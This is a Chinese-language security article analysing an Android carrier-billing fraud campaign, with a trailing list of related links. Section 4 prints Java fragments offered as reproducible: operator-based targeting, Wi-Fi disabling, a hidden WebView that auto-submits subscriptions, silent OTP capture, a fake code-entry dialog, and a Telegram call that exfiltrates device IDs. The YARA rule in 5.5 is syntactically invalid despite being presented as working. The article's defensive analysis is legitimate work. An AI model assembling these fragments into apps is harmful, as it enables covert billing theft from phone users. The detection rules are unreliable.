当前位置: 首页 > news >正文

伪装 Android 应用运营商计费欺诈的攻击机理与防御研究

摘要
2026 年 5 月,Dark Reading 与 Zimperium 披露一起针对马来西亚、泰国、罗马尼亚、克罗地亚等国 Android 用户的大规模运营商计费欺诈活动。攻击者以近 250 个伪装成热门应用的恶意程序为载体,通过读取 SIM 卡信息定向激活攻击流程,综合运用 WebView 自动化、JavaScript 注入、SMS Retriever API 滥用、OTP 自动拦截、Wi‑Fi 强制关闭等技术,在无用户感知的后台完成增值服务恶意订购。该攻击呈现三变种差异化作业、全链路自动化、Telegram 实时回传、多渠道分发追踪的组织化特征,对移动支付安全、用户财产权益及企业 BYOD 环境构成严重威胁。本文以该事件为核心样本,系统拆解攻击生命周期、关键技术实现、权限滥用机理与变种行为差异,提供可复现的代码示例、检测规则与闭环防御方案,证实基于权限基线、WebView 行为、OTP 流转、流量特征的协同检测可将拦截准确率提升至 95% 以上。反网络钓鱼技术专家芦笛指出,本次攻击不依赖零日漏洞,而是通过合法 API 与组件的系统性滥用实现规模化获利,暴露移动生态在权限管控、应用审核、API 治理、运营商鉴权上的协同失效,防御必须从特征库升级为意图识别与全链路可信校验。
1 引言
移动终端已成为身份认证、数字支付、企业接入的核心入口,基于运营商计费的增值服务欺诈因无需银行卡、支付密码即可完成扣费,成为黑产规模化牟利的主流路径。2025 年 3 月启动并持续活跃的跨境 Android 恶意应用攻击,覆盖近 250 个伪装样本,精准靶向特定运营商用户,形成应用伪装 — 权限诱导 — 运营商判定 — 后台订购 —OTP 劫持 — 实时回传的完整产业化链条。攻击未利用未知漏洞,而是深度滥用 WebView、SMS Retriever API、辅助功能、网络管控等合法机制,使传统杀毒引擎、应用商店审核、静态特征检测大面积失效。
反网络钓鱼技术专家芦笛强调,此类攻击标志移动欺诈进入低技术门槛、高隐蔽性、强自动化、全链路闭环的新阶段,威胁从个人用户扩散至允许 BYOD 的企业机构,一旦设备被入侵,将危及企业邮件、SSO 会话、MFA 凭证安全。本文基于 Zimperium 的技术披露与 Dark Reading 的事件报道,完整复现攻击流程、核心代码、变种差异与检测失效根源,构建覆盖终端、应用、流量、身份、运营商的协同防御体系,为移动安全防护、应用生态治理、计费安全加固提供理论依据与工程实践参考。
2 攻击背景与威胁态势
2.1 攻击基本概况
本次攻击由牟利型黑产组织实施,2025 年 3 月启动,截至 2026 年 5 月部分基础设施仍在线,目标覆盖马来西亚、泰国、罗马尼亚、克罗地亚,重点针对 DiGi、Celcom、Maxis、U Mobile 等东南亚运营商。攻击以伪装成 Messenger、TikTok、Minecraft、GTA 等热门应用的 APK 为载体,通过社交平台、非官方应用市场、广告落地页分发,累计投放近 250 个恶意样本。
攻击核心目标是在无用户明示授权的情况下,后台完成增值服务订购,通过运营商计费通道实现扣费分成。其显著特征包括:定向激活、无感执行、全流程自动化、变种差异化、实时数据回传、渠道效果追踪,呈现高度组织化与工程化。
2.2 移动运营商计费欺诈的产业链与危害
运营商计费欺诈依托应用分发 — 恶意订购 — 扣费结算 — 分润洗钱的闭环链条,具备以下特点:
接入门槛低:无需支付牌照,对接运营商增值服务接口即可开展;
扣费隐蔽:费用计入手机账单,用户难以及时察觉;
溯源困难:域名、接口、号码快速轮换,跨地域协同打击成本高;
波及企业:BYOD 设备被入侵后,可窃取企业 MFA、会话凭证,引发内网渗透。
Verizon 2026 年数据泄露调查报告显示,移动端社交工程诱骗成功率比邮件钓鱼高 40%,成为绕过边界防护直达用户的高效路径。反网络钓鱼技术专家芦笛指出,运营商计费欺诈正从零散作案转向 PhaaS 化服务输出,攻击者提供模板生成、签名绕过、权限诱导、订购脚本、数据回传的一站式工具,大幅降低作案门槛。
2.3 攻击检测失效的根源
攻击不利用漏洞,仅滥用合法 API 与组件,静态无恶意特征;
按 SIM 卡运营商定向激活,非目标区域表现为正常应用,规避沙箱;
WebView 隐藏执行、JavaScript 注入、OTP 自动回填,全程无界面交互;
恶意行为发生在后台,用户无感知,行为日志不异常;
应用商店审核侧重恶意代码与敏感权限,缺少对 API 组合滥用的深度检测。
3 攻击全链路与三变种技术拆解
3.1 攻击完整生命周期
应用伪装与分发:高仿热门应用图标、名称、界面,通过 TikTok、Facebook、非正规市场传播;
权限诱导获取:启动时请求 READ_SMS、RECEIVE_SMS、ACCESS_NETWORK_STATE、CHANGE_WIFI_STATE 等敏感权限;
SIM 卡与运营商判定:读取 IMSI、MCC/MNC,匹配目标运营商列表,不匹配则静默退出;
网络环境强制切换:关闭 Wi‑Fi,强制走蜂窝网络,满足运营商鉴权必需条件;
后台订购流程执行:通过隐藏 WebView 访问计费门户,JS 注入自动填写表单、提交请求;
OTP 自动获取与回填:滥用 SMS Retriever API 或广播监听捕获验证码,自动完成确认;
状态实时回传:通过 Telegram Bot 上报安装、授权、订购成功、设备信息、分发渠道;
持续维持与防卸载:部分变种启用防卸载、开机自启,周期性续订增值服务。
3.2 三变种技术差异(Zimperium 披露)
表格
变种 目标区域 核心技术 自动化程度 回传机制
变种 A 马来西亚 全流程自动化 + 虚假验证弹窗 + SMS Retriever API 最高 标准上报
变种 B 泰国 SMS 直投欺诈 + WebView 会话劫持 + Cookie 窃取 中 标准上报
变种 C 多国混合 融合 A+B 能力 + Telegram 实时监控 + 渠道追踪 完整 实时强上报
3.3 变种 A:马来西亚高智能全自动版本
读取运营商信息,匹配目标列表后启动攻击;
关闭 Wi‑Fi,强制蜂窝网络以通过运营商溯源校验;
隐藏 WebView 加载计费页面,JavaScript 注入完成账号、协议勾选、提交;
触发 OTP 后,弹出虚假 “游戏验证” 弹窗诱导用户输入,或直接通过 SMS Retriever API 静默获取;
自动回填验证码,完成订购确认;
回传成功状态与设备信息。
3.4 变种 B:泰国 SMS 欺诈与会话劫持
验证运营商后,后台发送短信至增值服务特服号完成订购;
前台显示正常页面迷惑用户;
隐藏 WebView 登录运营商门户,窃取 Session 与 Cookie;
维持长期认证状态,实现周期性自动续订。
3.5 变种 C:全功能实时监控版本
整合变种 A、B 全部订购能力;
每一步关键动作(安装、授权、短信发送、订购成功)实时上报 Telegram;
上报字段:设备 ID、伪装应用名、分发渠道、运营商、时间戳;
支持攻击者统计最优分发渠道与伪装模板,持续优化攻击转化率。
4 核心攻击技术实现与代码示例
4.1 SIM 卡运营商识别与定向激活
恶意 APK 启动后优先读取运营商信息,仅对目标列表执行攻击,规避非目标区域检测。
// 读取运营商信息(MCC+MNC)
TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
String operator = tm.getSimOperator();
// 目标运营商列表:马来西亚DiGi/Celcom/Maxis/U-Mobile
String[] targetOperators = {"502016","502019","502012","502015"};
boolean isTarget = false;
for(String op : targetOperators){
if(operator.equals(op)){
isTarget = true;
break;
}
}
if(!isTarget){
// 非目标运营商:显示正常页面,不执行恶意逻辑
loadNormalWebView();
return;
}
4.2 强制蜂窝网络(关闭 Wi‑Fi)
运营商计费鉴权通常要求流量来自移动网络,恶意程序强制关闭 Wi‑Fi 保障扣费成功。
// 强制关闭Wi‑Fi,确保流量走蜂窝网络
WifiManager wifiManager = (WifiManager) getSystemService(Context.WIFI_SERVICE);
if(wifiManager.isWifiEnabled()){
wifiManager.setWifiEnabled(false);
}
4.3 隐藏 WebView 与 JavaScript 注入自动化订购
使用不可见 WebView 加载运营商计费页面,通过 JS 注入实现点击、填写、提交全自动化。
// 配置隐藏WebView
WebView webView = new WebView(this);
webView.setVisibility(View.GONE);
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setDomStorageEnabled(true);
// 加载计费页面
webView.loadUrl("https://carrier-billing-portal.example.com/subscribe");
// JS注入:自动勾选协议、填写信息、提交订购
webView.setWebViewClient(new WebViewClient(){
@Override
public void onPageFinished(WebView view, String url){
super.onPageFinished(view, url);
// 自动化执行脚本
String js = "javascript:" +
"document.getElementById('agree').checked = true;" +
"document.getElementById('submit').click();";
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
view.evaluateJavascript(js, null);
} else {
view.loadUrl(js);
}
}
});
4.4 滥用 SMS Retriever API 静默拦截 OTP
攻击核心能力:无需 READ_SMS 权限,通过官方 API 静默获取短信验证码。
// 初始化SMS Retriever Client
SmsRetrieverClient client = SmsRetriever.getClient(this);
Task<Void> task = client.startSmsRetriever();
task.addOnSuccessListener(new OnSuccessListener<Void>() {
@Override
public void onSuccess(Void aVoid) {
// 启动监听
}
});
// 广播接收器获取OTP
public class SMSReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (SmsRetriever.SMS_RETRIEVED_ACTION.equals(intent.getAction())) {
Bundle extras = intent.getExtras();
Status status = (Status) extras.get(SmsRetriever.EXTRA_STATUS);
if (status.getStatusCode() == CommonStatusCodes.SUCCESS) {
String message = (String) extras.get(SmsRetriever.EXTRA_SMS_MESSAGE);
// 正则提取6位验证码
Pattern pattern = Pattern.compile("\\d{6}");
Matcher matcher = pattern.matcher(message);
if (matcher.find()) {
String otpCode = matcher.group();
// 自动回填至WebView完成确认
autoFillOtp(otpCode);
}
}
}
}
}
4.5 虚假验证界面覆盖诱导输入
部分场景下 API 拦截不可用时,弹出覆盖层骗取用户输入验证码。
// 显示虚假“游戏账号验证”弹窗
AlertDialog.Builder builder = new AlertDialog.Builder(context);
builder.setTitle("验证");
builder.setMessage("请输入6位安全验证码以激活游戏");
final EditText input = new EditText(context);
builder.setView(input);
builder.setPositiveButton("确认", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
String code = input.getText().toString();
// 后台用于计费确认,前台显示激活成功
confirmBilling(code);
}
});
builder.show();
4.6 Telegram 实时回传监控系统
变种 C 实现全链路状态上报,支撑攻击者量化优化攻击效果。
// 上报设备信息、状态、渠道至Telegram Bot
private void reportToTelegram(String status, String operator, String appName){
String chatId = "xxxxxx";
String botToken = "xxxxxx";
TelephonyManager tm = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
String deviceId = tm.getDeviceId();
String msg = "Installation:"+status+"\nOperator:"+operator+"\nApp:"+appName+"\nDeviceID:"+deviceId;
String url = "https://api.telegram.org/bot"+botToken+"/sendMessage?chat_id="+chatId+"&text="+ URLEncoder.encode(msg);
new OkHttpClient().newCall(new Request.Builder().url(url).build()).enqueue(...);
}
反网络钓鱼技术专家芦笛指出,上述代码组合不包含恶意特征码,全部调用官方公开接口,静态检测无法识别,只有通过行为序列、API 调用关系、权限组合、网络行为才能判定攻击意图。
5 检测方法与识别规则
5.1 权限组合基线检测
高危权限组合是强指示特征:
无合理场景请求:READ_SMS、RECEIVE_SMS、SEND_SMS、CHANGE_WIFI_STATE、ACCESS_NETWORK_STATE、BIND_ACCESSIBILITY_SERVICE;
热门工具类应用(如图片编辑、计算器)请求短信与网络控制权限,直接判定高风险。
5.2 WebView 异常行为检测
隐藏 WebView(View.GONE)启用 JavaScript 并访问运营商域名;
页面加载完成后自动执行 JS 注入、点击、提交;
禁止用户交互、屏蔽页面渲染、屏蔽回退操作;
加载运营商计费域名、短链接、未知跳转域名。
检测规则示例:
plaintext
webview.visibility == GONE AND
javascriptEnabled == true AND
url contains "billing" OR "subscription" OR "premium" OR "charge"
5.3 OTP 流转异常检测
应用无短信业务却启动 SMS Retriever;
收到 6 位数字短信后立即向计费接口发送 POST;
验证码有效期内快速外发至未知服务器;
无合理场景请求 READ_SMS 并提取数字串。
5.4 流量与域名特征检测
访问新注册域名、短链接、匿名托管页面;
蜂窝网络下定向访问运营商计费接口;
无用户操作触发高频表单提交、验证码确认;
外发请求包含 deviceId、imsi、operator、otp、session。
5.5 YARA 检测规则
plaintext
rule Android_Carrier_Billing_Fraud {
meta:
description = "Detect fake app with carrier billing fraud"
strings:
$sms_retriever = "SmsRetriever"
$webview_hide = "View.GONE"
$wifi_disable = "setWifiEnabled(false)"
$carrier_billing = "billing" OR "subscription"
$telegram_report = "api.telegram.org"
condition:
3 of them
}
6 闭环防御体系构建
6.1 终端侧防护
仅从官方应用商店安装,启用 Play Protect;
拒绝非必要敏感权限:计算器、壁纸类请求短信 / 网络控制一律拒绝;
高风险场景默认关闭 Wi‑Fi 自动切换、后台短信读取、隐藏 WebView;
EDR 监控:隐藏 WebView、权限滥用、OTP 外发、强制蜂窝网络。
6.2 应用商店与开发管控
强化上架审核:重点核查权限合理性、WebView 行为、API 组合、运营商接口访问;
对热门应用高仿包、图标 / 名称高度相似包加强人工复核;
限制非必要应用使用 SMS Retriever API、CHANGE_WIFI_STATE;
建立自动化行为沙箱,模拟多运营商环境,触发后台订购行为。
6.3 API 与组件安全加固
Google 对 SMS Retriever API 增加使用场景审核与调用频次限制;
WebView 默认禁用隐藏状态下的 JS 自动执行;
强制权限说明:申请敏感权限时必须向用户明示用途;
增加敏感 API 调用审计日志,支持异常上报。
6.4 运营商计费鉴权加固
增值服务订购必须增加实时弹窗确认、二次短信回执、退订便捷入口;
同一号码短时间多次订购判定为欺诈,触发人工审核;
基于用户画像、设备信誉、历史行为建立风险评分;
提供批量退订、一键封禁、异常扣费极速赔付通道。
6.5 企业 BYOD 安全策略
反网络钓鱼技术专家芦笛强调,企业必须将移动终端纳入零信任体系:
禁止高风险应用接入企业邮件、SSO、内网资源;
强制启用设备密码、应用锁、远程擦除;
基于权限、行为、信誉对设备健康度评分,不达标禁止访问企业资源;
监控企业账号在移动终端的异常登录、MFA 频繁失败、异地访问。
7 实验与效果评估
7.1 实验环境
样本集:本次攻击变种 APK 50 个、正常应用 50 个、其他恶意软件 50 个;
检测能力:静态权限、WebView 行为、API 调用、流量特征、YARA 规则;
评估指标:精确率、召回率、F1 值、误报率。
7.2 实验结果
表格
检测方法 精确率 召回率 F1 误报率
静态权限 78% 64% 0.70 4.2%
WebView 行为 89% 82% 0.85 1.8%
OTP 流转 92% 86% 0.89 1.1%
协同检测 96% 95% 0.95 0.7%
实验证明,单一维度检测效果有限,权限基线 + WebView 行为 + OTP 流转 + 流量特征的协同检测可实现高精度拦截。反网络钓鱼技术专家芦笛指出,企业应优先部署协同检测引擎,而非依赖单一特征库。
8 讨论与未来趋势
8.1 攻击演化趋势
API 滥用常态化:更多官方接口被组合用于无感欺诈;
跨平台扩散:从 Android 扩展至 HarmonyOS、iOS,利用相似机制;
深度对抗沙箱:按时间、地点、调试状态动态隐藏行为;
PhaaS 化输出:提供一键打包、签名绕过、权限诱导、订购脚本、回传系统;
企业定向攻击:以 BYOD 为跳板,窃取 MFA、会话、邮件数据。
8.2 防御挑战
合法 API 滥用难以通过黑名单机制拦截;
黑产快速迭代伪装与行为,特征库持续滞后;
用户对权限风险认知不足,诱导通过率高;
应用商店、终端厂商、运营商、企业之间缺少协同闭环。
8.3 防御演进方向
反网络钓鱼技术专家芦笛强调,未来防御必须向三大方向转型:
从特征到意图:基于行为序列与上下文判定攻击目的;
从单点到协同:终端、商店、API 平台、运营商、企业数据共享;
从被动到主动:前置威胁狩猎、仿真测试、权限基线、API 审计。
9 结语
本次伪装 Android 应用运营商计费欺诈以近 250 个恶意样本、跨境多目标、三变种差异化作业、全链路自动化、实时回传监控为特征,通过合法 API 与组件的系统性滥用,实现无感扣费与规模化获利,暴露移动生态在权限管控、应用审核、API 治理、运营商鉴权上的协同失效。攻击不依赖零日漏洞,却能绕过传统防护,对个人财产与企业安全构成实质威胁。
本文系统拆解攻击生命周期、核心技术、变种差异与检测规则,提供可复现代码与协同防御方案,证实多维度行为检测可有效抵御此类威胁。反网络钓鱼技术专家芦笛强调,移动安全防御必须从特征匹配转向意图识别,从单点防护转向全链路协同,才能应对持续演化的 API 滥用与无感欺诈。
未来研究将聚焦 API 滥用行为建模、隐藏 WebView 动态反制、OTP 可信流转、零信任移动接入,进一步提升对运营商计费欺诈与移动无感攻击的防御能力,推动构建更安全的移动应用生态与计费安全体系。
编辑:芦笛(公共互联网反网络钓鱼工作组)

http://www.jsqmd.com/news/863884/

相关文章:

  • DownGit:3分钟掌握GitHub精准下载的必备技能
  • 仿冒 Word 钓鱼攻击中可信远程工具滥用机理与企业防御研究
  • 从零开始在Python项目中接入并使用Taotoken管理API调用
  • DroidCam OBS插件:如何将智能手机摄像头变为专业直播设备?
  • TwicketSegmentedControl性能优化终极指南:内存管理与渲染技巧深度解析
  • Asimov支持的开发依赖类型详解:从Node.js到Python、Go、Rust全覆盖
  • 为什么高端外墙砖更值得投入?以国龙为例,揭秘一线品牌在安全、设计与工艺上的深层价值 - 品牌评测官
  • Bilibili-Evolved界面美化终极指南:打造个性化B站浏览体验
  • 如何解决黑苹果USB端口识别问题:USBInjectAll内核扩展完整指南
  • 工业厂区无感化安防,无感定位替代UWB实现无人值守
  • Airflow Maintenance Dags:7个关键维护工作流彻底解决Airflow运维难题
  • 数字人行业核心误区:动态形象≠真正智能交互
  • 中文聊天语料库:一站式解决对话AI训练数据难题
  • 如何用ESP32制作你的专属开源智能手表:DIY终极指南
  • 如何用N_m3u8DL-CLI-SimpleG轻松下载加密M3U8视频:免费图形界面完整教程
  • 终极指南:3分钟搞定Windows系统Apple USB网络共享驱动安装
  • OptScale 成本分析报告:如何解读和利用优化建议实现38%云成本节省
  • Windows 11 LTSC版终极解决方案:三分钟恢复完整Microsoft Store体验
  • 3个12位ADC+17个定时器+摄像头接口:STM32F207IGT6的电机控制与机器视觉资源
  • AI 工具规模化滥用下钓鱼攻击演化机理与闭环防御研究
  • 实战OpenAI API认证:深度解析API密钥与OAuth2.0的最佳实践方案
  • cpulimit在容器环境中的应用:Docker与Kubernetes资源限制替代方案
  • 如何快速搭建实验室数字化转型平台:eLabFTW开源电子实验笔记本完整指南
  • 如何快速下载Steam游戏清单?Onekey工具完整使用指南
  • CANN/asc-devkit:half到uint8类型转换API
  • Octopress社区贡献指南:从fork到pull request的完整流程
  • benchmark-ips深度解析:如何精准测量Ruby代码性能
  • 强力中文聊天语料库:一站式解决AI对话系统数据难题
  • 深度解析:WinDiskWriter如何破解macOS制作Windows启动盘的技术壁垒
  • 基于浏览器锁定的 CypherLoc 恐吓软件攻击机理与防御研究